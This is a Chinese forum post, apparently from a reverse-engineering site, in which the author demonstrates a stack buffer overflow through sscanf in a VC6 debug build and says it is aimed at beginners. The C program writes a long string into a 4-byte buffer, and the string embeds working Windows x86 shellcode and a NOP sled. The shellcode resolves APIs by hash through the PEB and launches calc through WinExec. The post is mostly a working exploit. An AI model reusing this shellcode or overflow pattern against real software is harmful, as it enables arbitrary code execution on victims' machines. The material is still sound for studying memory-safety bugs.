[分享]自己调试sscanf的漏洞
发表于:
2014-1-7 16:38
3914
以前不太关注sscanf这个函数,今天一调试,发现这个函数不比strcpy弱啊。不说了,上代码。
平台是vc6的debug版本。注意一个情况,如果你的字符串太长用了"\"那会在多几两个09,所以shellcode我这里是直接连着写了一大片。高手就可以无视了。主要是给一些新手看看,也是我的一个总结。
// vul.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
int main(int argc, char* argv[])
{
char string[4]={0};
sscanf("12345BC15aB#111112222233333444441111122222333334444411111222223333344444111112222233333444441111122222333334444411111222223333344444\
11111222223333344444111112222233333444441111122222333334444411111222223333344444111112222233333444441111122222333334444411111\
\xeb\x54\x31\xf6\x64\x8b\x76\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b\x36\x8b\x5d\x3c\x8b\x5c\x1d\x78\x85\xdb\x74\xf0\x01\xeb\x8b\x4b\x18\x67\xe3\xe8\x8b\x7b\x20\x01\xef\x8b\x7c\x8f\xfc\x01\xef\x31\xc0\x99\x02\x17\xc1\xca\x04\xae\x75\xf8\x3b\x54\x24\x04\xe0\xe4\x75\xca\x8b\x53\x24\x01\xea\x0f\xb7\x14\x4a\x8b\x7b\x1c\x01\xef\x03\x2c\x97\xc3\x68\xE7\xC4\xCC\x69\xE8\xA2\xFF\xFF\xFF\x50\x68\x63\x61\x6C\x63\x8B\xD4\x40\x50\x52\xFF\xD5\x68\x77\xA6\x60\x2A\xE8\x8B\xFF\xFF\xFF\x50\xFF\xD5\
\x90\x90\x90\x90\x90\x90\x90\x90\
"\
,"%[1-9A-z]",string);
printf("Hello World!\n");
return 0;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)